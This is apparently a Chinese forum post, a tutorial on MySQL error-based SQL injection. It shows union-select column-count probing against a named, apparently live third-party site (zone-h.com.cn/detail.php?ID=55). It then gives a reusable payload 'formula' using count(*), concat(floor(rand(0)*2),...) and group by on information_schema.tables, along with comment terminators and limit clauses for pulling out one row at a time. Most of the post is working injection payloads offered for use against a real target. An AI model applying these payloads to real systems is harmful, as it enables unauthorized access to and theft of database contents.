该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
阅读本文前请注意,php+MySQL注入,发生错误回显的有两种,一种是MySQL错误回显,即php提示MySQL语句哪里出错了,也就是能够用本文方法利用的注入,另外一种是php错误回显,php显示哪个文件的哪一行出错了,这种情况不在本文的讨论范畴之内。
作者:YoCo Smart
先看注入点:
http://zone-h.com.cn/detail.php?ID=55+and+1=1
有人用工具目测字段数为12,但是我们看地址:
http://zone-h.com.cn/detail.php?ID=55+union+select+1,2,3,4,5,6,7,8,9,10,11
字段11:“SQL语句错误: The used SELECT statements have a different number of columns”
http://zone-h.com.cn/detail.php?ID=55+union+select+1,2,3,4,5,6,7,8,9,10,11,12
字段12:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,4,5,6,7,8,9,10,11,12' at line 1
字段是12不假,但是无显示位回显。
既然这样,那就用MySQL的报错回显来注入爆数据。
MySQL报错回显爆数据,其实主要就是套公式,公式分为4部分
1,逻辑错误部分,也就是将GET变量取值变为逻辑错误值,例如.php?id=0或者.php?id=12+and+1=2
2,固定SQL联合查询语句,语句为:
union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b
3,注释语句,将整个语句后面的部分注释掉,可以用"/*"注释符,也可以用"--"终止符,也可以用%23这个"#"字符
4,注入爆数据语句,基本格式就是select XX from YY的格式。
这4个固定公式唯一要注意的是最后一个,最后一个每次只能爆单条数据,不能updata不能select into不能insert不能load_file()不能group_concat(),有的concat()也不能用
这样爆数据的话,就要加一个limit x,y的限制条件
也就是select XX from YY limit a,b
a是从第几条开始,从0开始为以一条,b为目标一共几条数据,这里固定为1,也就是说limit 0,1是第1条数据,limit 1,1是第2条数据,一次类推。